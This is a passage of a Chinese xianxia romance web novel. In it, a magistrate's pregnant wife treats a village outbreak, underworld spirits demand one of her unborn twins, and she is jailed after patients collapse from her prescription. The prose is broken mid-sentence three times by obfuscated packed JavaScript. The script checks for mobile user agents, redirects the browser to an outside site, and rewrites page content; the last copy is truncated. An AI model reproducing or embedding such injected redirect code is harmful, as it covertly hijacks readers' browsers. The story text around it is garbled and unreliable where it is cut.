温柔的声音从背后响起,惊得我浑身一颤。我赶忙捏紧袖口,生怕东西从里面溜出来。 颜卿也听到我回家消息,赶来见我。 “你你你你忙完啦!”我的声音尖得不像话,尾音还在发抖。 数月思念竟以这般窘态相见,我恨不得咬掉自己的舌头。 他想上前拥住我,但看我神神秘秘的样子,不禁打量起来。 “在找什么?袖子怎么了?” “啊?没什么。刚才沾到水打湿了,我给捂热乎些。” 干笑两声,我生怕漏馅,赶紧小跑到衣柜前,作势开始找衣服。 “穿哪件好呢……” 默默走到身后之人,双臂环拥住我,脸埋进我的肩头。 我心里一惊,手忙脚乱地将那张“注意事项”塞进衣裳堆里。赶忙关上衣柜门,转身回拥住他,指尖微微发颤。 所幸他并未察觉我的异样,只是将头埋得更深了些,温热的气息拂过我的耳畔。 “方才见你神色有异,还以为我不在的期间你受了什么委屈。” 心中一暖,我轻轻拍了拍他的背。 “好得很呢,出门逛街大家都热情招呼我呢。哟,颜夫人上街呢。” 他低笑出声,抬头时鼻尖险些擦过我的脸颊。 那双总是含笑的眉眼此刻深邃得令人心慌,仿佛能看透我所有秘密。 我慌忙别过脸,藏起自己通红的脸。 我急急扯开话题:“后院新栽了些花,我亲自栽种的,带你去看看?” 他若有所思地点头,牵起我的手,指尖的温度透过掌心传来。思绪纷乱如麻,我心虚地紧扣他的五指。 园中花木扶疏,微风拂过,带来阵阵清香。 他走在我身侧,步履沉稳,偶尔侧首看我一眼,目光温柔似水。 我心中却如压了一块巨石,既贪恋此刻的安宁,又担忧那未了的秘密终有一日被揭开。 “你今日似乎心不在焉。” 他忽然停下脚步,转身面对我,眉头微蹙。 “哪有,只是……只是有些累。上街走一圈可累了,家家户户招呼我去做客。” 我别开视线不敢看他。他心疼地伸手抚上我的脸颊,指尖轻轻摩挲。 “若是累了,便回去歇息吧,莫要勉强。” 我点头,又摇头。攥着他的手腕,领他在秋千坐下,缓缓靠上他的肩头。 “颜卿,我好想你。” 他用脸颊蹭了蹭我的额头。 “我也是。那天,我梦到你了。本想写信告知,但我更想亲口跟你讲。” 他浅笑着道。 “梦见你坐在碧海边的礁石上,手捧着一颗星,说,要把那颗星辰送给我。我看到你身边还有一枝白梅,便问你,那梅花可能一并赠予我?谁知,你突然哭了。” “哭了?” “嗯,一直哭。从未见你哭得如此伤心,怎么劝都劝不住。我问你为什么哭,你也只是摇头,嘴里反复念着道歉的话。好不容易劝住了,你将星星交到我手里后,转身走进碧海,从眼前消失了。” 白梅与星辰。 我愣了半晌,噗嗤笑道: “颜大人好奇怪的梦。” 40. 一场消黯 天未破晓,信州知县府内寒露微浓,或凝结成霜,或凝成露珠。 初夏之际,不该如此。 白衣仙人站在槐树下,面色苍白,望着凉亭内未下完的棋盘,等待他的来客。 “是星君与仙骨。”仙人启齿道。 来客黑衣人出乎意料,问道:“如何得知?” 白衣仙人从槐树顶收回视线,步履轻缓地走到棋盘前坐下,执起白子。 “星君下凡,恰逢其时。仙骨……必然之事。” “星君啊……不敢不敢。”黑衣人踱步至对手席,捏起一颗黑色棋子,“我们说好的,仙人莫要反悔。仙骨,我定要带走。” “嗯。” 白子落在黑子早已设下的包围圈中,正当黑子已经胜券在握,殊不知另一处角落,黑子已死无葬身之地。 黑衣人讪笑道:“我又输了。唉,和县长下棋,百输一赢啊。” 白衣仙人面不改色,“那一局,是我让你的。” “不不不,该说——是仙长大意,不小心让给我的。” 白衣仙人方拿起的棋子又放回棋笥中。 “我输了。” 确实,不知不觉间,棋局已定。黑衣人胜得并不舒心,倒生了被算计的郁闷。 “仙长太聪明,我一尽职尽责、勤恳工作的差使确实难懂仙长的心思。罢了,来日方长。” 【又见东风】 窗外传来颜卿与师爷的低语,气氛沉重。 “吴大人咬定是瘟疫,若五日内查不出真相,信州府上下皆要问罪……” 我攥紧被角,腹中忽然一阵抽痛。无法看清颜卿的面容,可挺直的背影足以说明。 推门而出时,颜卿的背影已远。我咬牙追上去喊道:“带上我吧!多一个人也能多一条办案思路嘛。” 颜卿转头看向我,随即露出温和的笑容:“你病刚好,还是多休息。” “哎呀,胃病而已嘛。”我摇晃他的手臂,“而且,我想替你分担分担。我可是医鹿山下来的,请颜大人放心!保证有用!” 颜卿闻言,眼中笑意更深。 “切莫逞强,若是身体不适,及时告知我。” “好!” 此次颜卿进京述职,本来下周才能回信州,接到消息后马不停蹄连夜赶回。 据说是一村子闹病,惊动了宫里的人,所以丝毫不敢懈怠。 且不管什么病闹这么大,我看颜卿近来几日都没好好休息,心疼得厉害,或许能帮上点忙。 好说歹说,咱也是医鹿山下来的嘛。派不上用场,呼喊大名鼎鼎的柳仙人还不是一句话的事儿。 我们一同上了马车,朝村子驶去。路上,颜卿向我详细说明了村里目前的情况。 “确定病症的源头是井里的水吗?” 颜卿点头说道:“唐大夫检查过,应该是的。不过……” 难得见他唉声叹气。 “近日朝廷遣人来,声称此症已蔓延至其他路府,恐是疫疠,特命我详加查察。” “瘟疫?”我更是不解,“若真是瘟疫,信州府早乱了。他们是来找茬的吧。” 面对我的愤愤不平,颜卿也只是笑笑。我也知道,就算是找茬,他身为一方知县还敢逆反不成。 就这么静静坐了一会儿,忽闻一种幽香。 循着香,我撩开车帘,骄阳似火,却挡不住荷塘的生机。碧绿荷叶如伞倾盖,层层叠叠。粉白荷花含苞待放,远处传来几声蝉鸣,悠长而慵懒,与近处荷叶摩擦的沙沙声交织在一起。 已经八月入夏了吗。 抵达村口,颜卿搀扶着我走下马车。想着最近吐得不算厉害才敢出门,没料刚下车,只是闻到了村口井里发出的味道,胃里一阵恶心,我一个箭步冲到田边吐出来。 “就说让你好生休息吧。”他声音里带着无奈的叹息,手指温柔地把我散落垂下的发捞至后背。 颜卿顺着我的背,唤人舀一勺温热干净的水来。我捧着半劈开的葫芦,暖水下肚缓了口气儿。 “颜大人出门办案还把夫人带上?” 闻言,我和颜卿一起抬头望向走来的人。 深紫色官服,高人一等,傲视凡俗。他应该就是颜卿说的,从宫里来的人,吴盼秩,光州醉月楼里有幸听过声音的“猪”。 听他说话的语气,办案这些天定没少给颜卿找茬。 颜卿也一副习以为常的样子,起身时仍保持端庄,甚至不忘先扶我站稳。他嘴角噙着那副惯常的温和笑容:“夫人心系百姓,特来探望。” “关心?” 吴盼秩扯着一边嘴角走近打量我,颜卿立刻侧身半步,恰到好处地隔开我们。 “夫人来添乱的吧。别染上疫疠,回去把整个信州府都染上。” 我冷笑了声,拨开颜卿欲要阻拦我上前的手。 “吴大人若是知道我什么来头,可就后悔说刚才的话了。” “哦?夫人什么来头?” 他一脸等着看我笑话的嘴脸,我更来气了,仰脸耀武扬威道:“从医鹿山来!柳仙人,我师尊!” 其实,光是医鹿山的名号就足以震慑吴盼秩,可我不解气,非要加上柳砚清的名字。 吴盼秩的脸色瞬间变了,原本那副等着看我笑话的轻蔑神情,此刻像是被一盆冷水浇了个透。 但很快,仿佛刚才细微的表情是演给我看的。转眼,吴盼秩嘴角挂着一抹似笑非笑的弧度,眼神中带着几分戏谑与挑衅。 “姑娘既是医鹿山仙人的弟子,想必这等小病小症,姑娘一出手,不出数日便可痊愈。” “数日?任何病症都有一定的痊愈期,不可能立竿见影。” “五日。” 吴盼秩无视我的话,朝我张开手掌,“只给姑娘五天时间。” “你——” “姑娘如果做不到,不仅坏了医鹿山的名声,更坏了柳仙人的名声。所以,还请尽力而为。” 他说完,露出一抹得意的笑,仿佛眼下发生的都在按他的计划进行。 我克制住心中的怒火。越是急躁,越要牢记柳砚清的那句话——平心静气。 “如果我做不到呢?” “唉。”他故作沉重地叹了口气,“颜大人做了九年的信州知县,也该去蛮荒偏远之地待一待了。” 心中猛然一沉,我攥紧拳头。颜卿又想上前拦我,被我猛地一推,踉跄着退后险些摔倒,好在被一旁的人扶住。 “我酿下的错,关颜卿什么事!凭什么贬官!” 吴盼秩慢悠悠地背着手朝我走近一步,用只有我和他能听见的声音,语气轻飘飘,却字字如刀—— “就凭他说,你是他夫人。” 我咬紧牙,降低声音说道:“你故意的。” 他眯起眼,扬起下巴露出得意的表情:“是,吴某恭候姑娘多时了。” 案子的源头是村口的井。 又是井。 是不是只要遇上点不可思议的事情,都会和井挂上钩?! 敞开的井口,深不见底的黑洞。颜卿命人打了桶井水上来,光凭颜色看和正常的水无二,只有尝过才知道了。 我拿起刚才喝水的葫芦,往嘴里送。 “不能喝!” 颜卿一把夺走我手里的葫芦。 “都说问题出在水里了,你还喝。” 我傻愣着,看着自己两手空空。 “你抢我的水……” 我不可思议地盯着颜卿,他蹙着眉苦笑。 “怎么还赖我抢东西了。这不能喝,更何况你胃还没好呢,井水偏凉。” “那我怎么——” 手背忽然被什么刺了一下,可低头去看什么也没有。我一下想起什么,恍然大悟。 “对啊,可以用银针!唉,学过的知识全还给师尊了。” “或者从村民的身体开始检查?” 我的腰一下挺了起来,“有道理!”转过身去,我歪头蹙眉打量颜卿,“除了包扎,你还学了别的?” 颜卿一笑,扶着我起身。 “总会派上用场嘛。” 一面回忆师尊教授的知识,一面脑海如受高人指点般澄澈,我很快得出结论。 腹痛如绞,粪便臭如败卵,夹杂未化之食。痞满难舒,食欲全无……不就是泄泻之症嘛,怎么就传成瘟疫了。 我欣喜地望向颜卿:“本夫人已经知道是什么病症啦!” 他笑着替我顺了顺抓耳挠腮时弄乱的发丝:“辛苦夫人。” 既然确信了不过小病小症,底气也足了些,找来纸笔唰唰写下药方子,涉及不会写的字我便用图画的形式,然后交给颜卿。 “这个是楮叶,止一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056753|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泄利,同巴豆皮炒研蜡丸服用。或者芜荑,我不会写这两个字,就画图啦。气泄久不止,或者有幼童因疳而泄泻的症状,就同豆蔻、诃子制成药丸服用,是稍微复杂了些……再不行就用我写的第三条,神曲、麦蘖、荞麦粉,脾积泄,砂糖水服三钱。” 颜卿手下方子满脸欣慰,察觉到我指尖残留的墨汁,拿出手绢帮我擦了擦手。 “多谢夫人。” “接下来就等大家按疗程服用,慢慢痊愈啦。” 听见有人唤颜卿,我推着他赶紧去。 远处忙碌的人群,独自站在井边的我。 我默不作声地听着远处颜卿和身边人交谈的声音,给予世间万物柔情的人,一颦一笑都牵绊着寂寥的心。 我知道他是爱我的,他无穷无尽的爱,几乎大半都给了我。可我还是觉得——他不该属于我。 从成婚那夜起,我不止一次想过和颜卿成亲这件事到底对不对。这是他的一辈子,却不见得是我的一辈子。 我闷住了,胸口堵得慌,小腹似被踹了两脚。 “娘亲不是想离开爹爹。”我安抚着腹中的孩子,“娘亲只是……” 眼睛委屈得都湿了,开始抽噎,心烦意乱。 兴许是脐带相连,我感觉腹中的小家伙打了个转,又踹了他娘亲一脚。钻心般的痛,惊得我不敢再动,缓缓蹲下身。 “没事吧?” 似乎有人靠近,低声询问。 我摆首致谢,“只是站累了,休息一会儿。” 身旁的人应了声却没有离开,一直守在我旁边。我用余光看了眼,黑色的袍子,黑色的长发,黑色的官帽,乍一看,还以为见鬼了。 我只好起身,有点尴尬地交代:“我真没事,谢谢关心。” “你没事,腹中的孩子可有事。” 我一时哑口无言,对上眼前全身没有一点颜色的男人的视线。 “你怎么知道?” 肚子隆起的并不明显,确实不知他如何看出的。 他噙着笑不言,指了指自己的官帽。写了字,是要我看写的什么字吗? 我直言:“我不识字。” 他了然于心似的点了点头,指着帽上的四个字,一字一顿念给我听。 “天、下、太、平。” “天下太平?”我重复他的话,“什么意思?” 他无奈笑了笑。 井水忽然泛起涟漪,倒影中浮现一黑一白两道身影。我惊大双眼,刚才他身后一直有人的吗?! “一黑一白,可认出了?”他问。 我不知道怎么回答,白衣女子走近一些,学着刚才男人的动作指着自己头上的字念到“一见生财”,然后又问了我一遍,“可认出了?” 生财,平安。 “所以你们是……道士?” 村里经常做法事,有道士并不奇怪。 两人不由得对看一眼。 白衣女子问对方:“很像吗?” 黑袍男子回答:“估计是吧。” 过了好一会儿,白衣女子挽上我的手臂,拉着我在井边坐下,放低了声音,缓缓地盯着我说:“我们是阴差,我,白无常。他,黑无常。仙子既然在人间晃荡了几百年,不可能不知道吧。” 突然,她面前的男人不知从何处掏出一根戒尺狠狠砸在她头上。 “仙子重生了,不记得你说的事。” 我被戒尺砸出的声响惊颤得呆住,叫白无常的姑娘也只是憋着嘴捂着头没再作声。 “抱歉,她不长记性。”他向我颔首行礼,“我们是地府阎王身边的阴差,黑白无常。我们在光州见过,那时情况特殊,打了仙子,实在抱歉。” “……” 忽然感觉周围安静得异常,黑无常抬眉示意白无常,两人默契十足,摇身一变成光州暗巷里我见过的模样。 白无常拨弄着手中的七弦琴,未成曲调先有情,正是那天我听到的曲子。 “这首曲子我练习了好久呢。”她笑嘻嘻地撞了下我的臂膀,“仙子喜欢吗?此曲名为《天上月》,某位仙——高人创作。” “阴、差?黑袍?”我喃喃自语,“闻烈说的鬼差?可那不是他编的故事吗?” 白无常微微一笑,几乎是耳语般地说:“为何不信小孩子的话呢。小孩说的话,就一定是假的吗?” 41. 停灯向晓 初春的光州,雨夜总是格外阴冷。璃坊的后院外的街道直通光州最暗黑的济民区,所以这条道一到夜里格外阴森。 闻烈的目光穿过薄薄的纸窗,落在外面漆黑的巷子里。那里有什么东西在动,不是猫,也不是狗,而是更模糊、更飘忽的影子。 自从他能记事起,总能看见一些大人看不见的东西。只有叔父相信自己,只有闻大人站在他这边。 巷子深处,两个身影正抱着一个无意识、四肢下垂的姑娘向前走。 “那个方向……是济民区?” 好奇心战胜了恐惧,闻烈轻轻推开门,雨水立刻打湿了他的单衣。他顾不得这些,蹑手蹑脚地跟了上去。前面的三个身影拐进了一处破败恶臭的院子,闻烈躲在外面墙角,瞪大了眼睛。 白衣人从怀中掏出一面铜镜,放下被钉子封住的井盖上,原本坚实的木板竟如水波般荡漾起来,接着消失不见。黑衣人抱着画像上的姑娘,三人纵身一跃,消失在闻烈眼前,井上的木板恢复如初。 闻烈捂住嘴巴,心脏狂跳。他等了又等,直到双腿发麻,井盖才再次波动,只是这次只有一黑一白两个身影走了出来。 “站住!” 瘦小的身影冲上前,挡在恶人的面前。刚才隔得太远没看清,白衣人居然是位姑娘? 白衣人俯下身,那张惨白的脸几乎贴到闻烈面前:“有意思,已经很多年没遇到有阴阳眼的孩子了。小孩,你叫什么名字呀?” 闻烈后退一步,却不逃跑:“你们是谁?刚才的姑娘被你们带去哪里了?” “不可告知的秘密。你要是知晓了,不仅自己的命难保,就连你的家人也会受牵连。”白衣人蹲下身,揉了揉闻烈的脑袋,“不过以后这姑娘问起你今晚看到了什么,你要按照我说的告诉她。” “……她,没事吗?” “她当然没事,好得很呢。而且……我可是为了帮你叔父来的。你也想,替叔父完成一些心愿吧。” 闻烈平静地直视着面前的“人”,深邃的眼底暗流涌动。此时此刻,有一个念头无比清晰的在指引着他该怎么做。 “只要是能帮到叔父,我答应你们。” 竹村听雨,惊雷划破,窗棂电光火石闪过,惊现一道黑影在墙壁,吓得我跳进另一床被窝里藏了藏。身旁的人察觉到我的动静将我往怀里护了护,轻轻拍打我的后背。 我怔怔地看着惊雷闪过,盯着架子上被看成鬼影的衣服,还有些茫然。 “先生信这世上有鬼吗?” “鬼?阴间的鬼还是人心的鬼?” 出乎意料的反问,我躺在他怀里笑了下,说:“阴间的吧。” “信。” 闻笙回答地没有一丝迟疑,我生出好奇挺直了腰板,挪着身子朝他靠了靠。 “这么肯定?” “所以把你从黄泉送回我身边。”他揽住我的肩,凑近了些端详我,似要把我深深烙印在心底,沉吟片刻后说道,“如此说来,我还得谢谢他。” 难得听他说无厘头的话,我偷笑着在被窝里戳了戳他的腰。 “谢鬼不谢神,神仙听了会生气的。” “那你呢?”轮到他向我抛出问题,“你信这世上有鬼吗?” 我毫不犹豫地摇头,嘀咕着:“就算两个鬼站在我面前,我恐怕都认不出他们是不是鬼。” 【梦溯流光】 一语成阙。 想不到春日睡前的一段浅谈,竟然在数月后在现实重现。 就算两个鬼站在我面前,我恐怕都忍不住他们是不是鬼……更有趣的是,鬼都跟我自我介绍了,我还是不晓得黑白无常是什么什么鬼。医鹿山的书可没有描述地府的书,都是人间史书传说和医药经典古籍。 “阴差?”我转了转眼珠子,“可你们是鬼,鬼不是怕太阳吗?白日里鬼也是可以四处游荡的吗?” 白无常坐我身边,抻了抻腿,又伸了个懒腰,悠悠说道:“我们不是一般的鬼。”她晃了晃手里何时多出的一把笛子,“人界的井是连接地府的通道,所以我们来了。” 忽地,她停下手上的动作,直勾勾地盯着我。 “而且,是你召唤我们来的,你忘了?” 黝黑的眼睛仿佛能吸走人的精魄一般,心里一阵发毛,我立马躲开视线,支支吾吾说道:“……我不明白。不对,我忘记了,不知道你在说什么。” 黑无常站在井边,摊开掌心,一条黑色蛇影般的黑气从他掌心长出,缠绕上他的手臂。熟悉的味道瞬间勾起那晚在井底的记忆,是一模一样的味道。 黑无常说:“当年你从竹村一走了之,莫名心怀愧疚。找到我们,希望有朝一日满足闻笙一个心愿。我们遵守了与你的诺言,现在,该来要报酬了。” 小心愿?是指光州将我打晕丢到深井之下吗? 他继续说:“本该是带着闻笙去井下面找你。谁能想到那柳仙人来得那么快。等我们赶到时,除了仙人留下的一枝白梅,什么都没了。” 黑蛇走过他的手臂,吐出黑色的信子,沿着修长的身躯游走到井边,慢慢向我逼近。我后退,它便跟着前行。我不怕蛇,只是这东西的味道和光州井下闻到的一模一样,痛苦折磨人的画面扰得我又泛起恶心。 我捂着嘴,走到一旁,离那东西远点。 黑无常收起黑蛇,示意我可以重新坐回去。 “你确定是我?如果你们从阴间来,应该知道,我现在没有记忆。我怎么能相信你们说的话?” 早有预料似的,白无常将手中的笛子递给我。我迟疑着接过手,细细描摹。以为是一把寻常不过的笛子,想不到还是一把上好玉雕琢成的玉笛。 “为何给我这个?” 白无常忽地将玉笛收回,拿在手中转动说:“南风仙子的法器。可以变幻成任何所想要的样子。”她不打招呼取下我发间的步摇,“你头上的步摇,是北雷君——” 话未说完,她噗嗤笑起来,笑得何其猖狂。 “原来是假的啊。带了点法力,差点就糊弄过去了。” “假的?不可能啊……这是神像给我的……” 白无常笑着把步摇递给黑无常看,他只看了一眼就确信那是假的,还不忘揶揄:“差点信以为真。该说不愧是方大仙吗。” 我抢回她手里的步摇,紧紧握在手里,急切地呼唤:“神器?神器?你动一下,回应我啊。” 一如既往,没有任何回应。 白无常翘着腿,转着手里的玉笛,说:“真的法器在我们手里。你手里的,自然不会回应你。” 我坚定地反驳:“不可能,清溪山的时候,它回应过我,不可能是假的。” 我不肯罢休,摇晃着手里的步摇,默默恳求它别再装睡,好歹发出点声音啊。黑无常背着只手走到我跟前蹲下身,他的神容晦暗不清,看不清表情,说:“我猜,那时候有位大仙在附近吧。方大仙?还是北雷君?还是……柳仙人?” 我一下顿住,无论是动作还是呼吸。 那时候方大仙确实在我身后,没有离开,而是默默地注视着一切。他认识颜卿,知道颜卿会去清溪山,所以算准了时机,先跟我介绍他的神仙好友拖延时间,等颜卿即将出现,让我去跟孙寺搭讪,进而和颜卿撞个正着。 怀中的神器共鸣,也是他的作为?从始至终,我手中的都是假的?我说的话,根本就是对牛弹琴? 不对,有一点不对。 我燃起一点信心,问道:“引梦呢?他说神器会给我引梦——” 白无常无情地打断我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056754|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪儿有人的梦一点都记不住。就算是记性再不好,至少醒来的时候至少能记住一些吧。你记住什么了?” 我的眼神渐渐黯淡下去,彻底失去辩驳的信心。整个心口被绞起来似的,痛彻骨髓。 白无常肆意笑着:“对咯。引梦的不是神器,是方大仙,准确说,是东婝元君。” 我不禁反问:“东婝?” “能制造梦境的神仙,是南风仙子的姐姐。” “我还是不明……白。” 不明白的事情太多了,思绪乱得头快裂开了。我捂着肚子,抓紧身前的衣裳。 “就算你说的是真的……” 就算你说的是真的,我又能做什么?什么都做不了。我不过普通的凡人,连梦都无法自控的凡人。忽然想起他们说来找我要兑现承诺的回报,我抬起头对上眼前男人幽深的眸子,问:“你们要什么回报?” 隔着我的手背,白无常冰冷的指尖戳着我平坦的肚子,阴涔涔地说:“仙子腹中的孩子。” 苍白脸上浮出一抹诡异的笑,白无常的舌尖舔过獠牙,饥渴地望着我。 “分一个给我们呗。” 我打开她的手,快速起身远离。 “不行。” 白无常抬起头来,轻蹙眉扭捏着身子说:“别这么小气嘛。一胎是绝世仙骨,一胎是星君下凡,仙子留哪一个都不亏。” “……不行。” 我不看她,双手护着肚子,生怕一眨眼,他们便会勾走我腹中的孩子。 白无常起身朝我走来:“神器见证,仙子难道要食言?” 我背过身,不让肚子对着她:“我不记得和你们的约定。” “唉,做神做人呢,都要讲究信用。仙子你这样整得我们很难办啊。”她语重心长地说,一边围着我打转,“就这么换走你腹中的一个孩子确实有些过分。这样吧,我们再答应您一个要求,再满足您一个心愿,如何?” “我没有要求的。” “你有。”黑无常走近些,抬手指向不远处的颜卿,“仙子已经猜到那群官员是冲着你和那知县来的。他既然刁难你五日之内治愈全村,一定也有法子刁难那知县。” 他俯下身,发灰的脸在我眼前骤然放大,用只有我和他能听见的嗓音说:“你会有求于我们的。所以,提早做好交易,也好保全那凡人的性命。凡人的寿命是很短暂的。” “你的意思是……颜卿会有性命危险?” “天机不可修漏。” 一旁的白无常突然仰天说道,“不公平!我们跟仙子说了那么多,你还没答应我们呢。” 黑无常抬手勾起我的一缕发丝,将白无常扭曲的脸挡在身后不让我看。 “我们从地府来,你知道的,地府,人死堕入轮回的地方,神仙也不例外。” “……” “从前的事,你记得多少?” “……都不记得。” “去过两次黄泉的事也忘得一干二净?” “两次?” “忘了我说的吧。总之,一命换一命,这对仙子来说不亏。” 我垂眸神情恍惚,我虽然不太相信眼前两个鬼说的鬼话,但对颜卿的安危却已经非常担忧。我怕他出事,更怕他因为受我牵连而出事。可是,腹中的孩子……我终究还是无法和他相见吗。我终究还是无法让他来到这人世间吗。 我无力地垂下双臂,挪开护在腹前的手。 “你们……要带走哪一个?” 白无常蹦了一下,在我脚边蹲下身,手掌撑着半边脸,似是隔着皮肉端详我腹中的两个孩子。 “是呀,选哪一个呢,哪一个都想要啊。”她笑盈盈地抬起头望向我,“毕竟是仙子辛苦怀上的,就由仙子决定吧。您挑一个?” 42. 狱草烟深 我没能作出决定,在我回答之前,颜卿匆匆跑来找我,一脸沉沉,我本就不安的心更加慌乱。 颜卿看不到我身边的两个鬼,更不知道有一只白色的鬼前胸贴着我的后背,阴冷的气息就在我的耳边呼出。 “怎么了?”我问颜卿,“难道是药方子有问题?” 他迟疑着,默默牵起我的手。 “跟我来。” 该怎么去描述眼前的画面呢。倒地不起的人,溅开的血迹,打翻的汤药。桌上的药壶里是按照我写的方子抓的药,未喝完的汤药和病人嘴角残留的药渍如出一辙。 我跪坐在地上,指尖触到一片温热的黏腻。低头看去,暗红的血迹在青石地面上蜿蜒,像一条吐着信子的毒蛇,正一点点吞噬我的理智。 “怎么会……” 药壶翻倒在一旁,褐色的药汁与鲜血混在一处,刺得我眼睛生疼。那是我亲手开的方子,是我一笔一画写下的药名。 “方子没有问题……确实是按照书上写的……不该有问题……” 可眼前的一切都在嘲笑我的无能。我的喉咙像是被什么扼住了,呼吸越来越急促,腹中又开始隐隐作痛,眼前一阵阵发黑。 “他们是中毒了……解药……得赶紧找解药……” 我慌乱地想要站起来,双腿却像灌了铅一般沉重。耳边嗡嗡作响,仿佛有无数人在尖叫,在指责,在唾骂。 “楚风!” 一道清冽的声音劈开混沌,唤醒我的理智。我感觉肩膀被一只有力的手握住,那力道让我不得不抬起头。颜卿的脸近在咫尺,眸中盛满担忧。我这才发现自己一直在发抖,牙齿不受控制地打颤,连呼吸都变得支离破碎。 “看着我。” 我怔怔地望着他的眼睛,视野被一汪水模糊。 “我在这里,不要怕。” 我张了张嘴,却发不出声音。他的手掌温暖而干燥,包裹住我冰凉的手指。 “这不是你的问题。我相信你。” 我抽噎着紧闭双眼。 “方子……真的没有问题……” 颜卿轻轻“嗯”了一声,将我拉进怀里。 “我何时怀疑过你?你说过的话,我从来都深信不疑。” 我感受着他胸膛下那沉稳的心跳,一下又一下,像是无声的安抚,将我心中那些纠缠不清的恐惧与自责一点点推开。 身后,黑白无常静立如两道幽影。黑无常面色冷峻,眉头微微蹙起,目光沉沉地落在前方。他的唇角抿成一条直线,下颌线条紧绷,手中的锁链无声地缠绕又松开。 白无常一手叉腰,眼珠滴溜溜地转,嘴角挂着一抹狡黠的笑意。她瞥了一眼黑无常,见他这副模样,立刻夸张地捂住胸口,声音拖得老长:“哎呀呀,我在这阴司当差几万年,与仙子相识也有几千年,还是头一回见她落泪!这场景,真是闻者伤心,见者落泪啊!”她一边说,一边假意用袖子擦拭眼角,余光却始终盯着黑无常的反应。 多亏凡人看不到也听不见,她才敢肆意妄为。 黑无常没有接话,只是眉头跳了跳,目光更深了几分。白无常见状,笑得更加灿烂,凑近一步,压低声音道:“黑黑啊,你这表情可不太对劲哟。怎么,心里不痛快了?吃醋嫉妒了?” 黑无常冷冷地扫了她一眼。白无常却毫不在意,几千年共事早习惯了,笑得更加放肆,甩了甩袖子:“不说话就是默认了。哎哟,难怪周围的阴气变重了。” 黑无常终于有了动作,转身大步离去,衣袍在阴风中猎猎作响,只冷冷丢下一句:“闭嘴。” “喂!老黑!这就走啦?孩子不要啦?!” 见黑无常头也不回地消失在昏暗的雾气中,她肆意狂笑,笑声顽劣又带着几分渗人。 随后,她转身跑到我面前,蹲下身,笑眯眯地看着我。 “那仙子,我们先走啦!之后再来找你哟!” 她冲我眨了眨眼,便化作一缕青烟,轻飘飘地消散在我眼前。 这些患者无一例外都是吃了我开的药,且在服下药极短的时间内开始身体出现异样。轻者肚子疼,重者还会伴随上吐下泻,体内出血的症状。 “真的是药出了问题……” 颜卿缓缓起身,自然地牵起我的手,抬眼望向另一边蜷缩在床铺上的病患。 “目前还不能下定论。我们再去看看其他服药的人,是不是同样的症状。” “嗯……” 只是没等我们进一步查取证据,吴盼秩已经堵在门口不许我走,说以下毒谋杀的罪名要将我逮捕。 未免来得太快。 “颜大人身为信州知县,难道要庇护一个对无辜百姓下毒之人?” 吴盼秩背着手看在路中央。颜卿消瘦的后背挡在我眼前,他不作声,但我能猜到他此刻的表情。 是挣扎的,不安的。 我抓住颜卿的手,走到他身边,离开他的庇护。 “是我的错,我应当受到责罚。” “不是。”颜卿说得肯定,坚定的目光望向吴盼秩,“方子没有问题,是有人下毒,我会彻查此事。” “颜大人是在质疑本官的判断?”吴盼秩冷哼一声,“你不过小小的地方知县,竟敢质疑我?” 颜卿语气仍旧不示弱:“不是质疑吴大人,下官只是相信证据,相信真相。” 藏在袖口下的手紧扣住我的,十指颤抖着扣得生疼,却不肯松开。 “颜卿……” “我不会让你离开我的。” 似是生离死别地诺言。我从未见过他露出这般表情。 我沉默了良久,憋住心里的委屈,抓着他的手落在我的小腹上。他没有察觉到我的动作,依旧和“敌人”对峙着。 “你是信州知县,是百姓的父母官,现在,我是谋害他们的嫌疑人,理应被抓起来审问。”我抽回自己的手,“颜大人,你忘了公堂牌匾上的那几个字了吗。” 明镜高悬。 颜卿一直遵守的信条,不能打破。 信州府的大牢,住了那么久,我还是头一回来。阴冷的石墙渗着湿气,贴着后背传来刺骨的寒意。我靠在墙角,仰头望着头顶那方寸的黑夜,铁栏将月光切割成细碎的光斑,洒在斑驳的地面上,像撒了一地的霜。 不知从哪个角落传来老鼠窸窸窣窣的响动,它们在这暗无天日的地方活得倒是自在。我抬起手,看着月光在掌心投下淡淡的影子,却感觉不到一丝温度。 时间都仿佛静止。不知过了多久,月光渐渐偏移,在地面上拉出长长的影子。 远处传来狱卒的脚步声,由远及近,又渐渐远去。我听着那脚步声消失在走廊尽头,安抚着腹中焦躁的孩子,长叹了口气。 铁窗外传来一阵极轻的响动,像是夜风掠过瓦片,又像是谁的脚步刻意放轻。我抬起头,透过狭窄的窗缝,瞥见一抹熟悉的身影立在月光下,轮廓被夜色勾勒得模糊而温柔。 他不出声,但我立刻察觉到了。 “颜卿……?”我低声唤他,“你来做什么?” “我担心你害怕,来陪陪你。” 他的声音透过厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 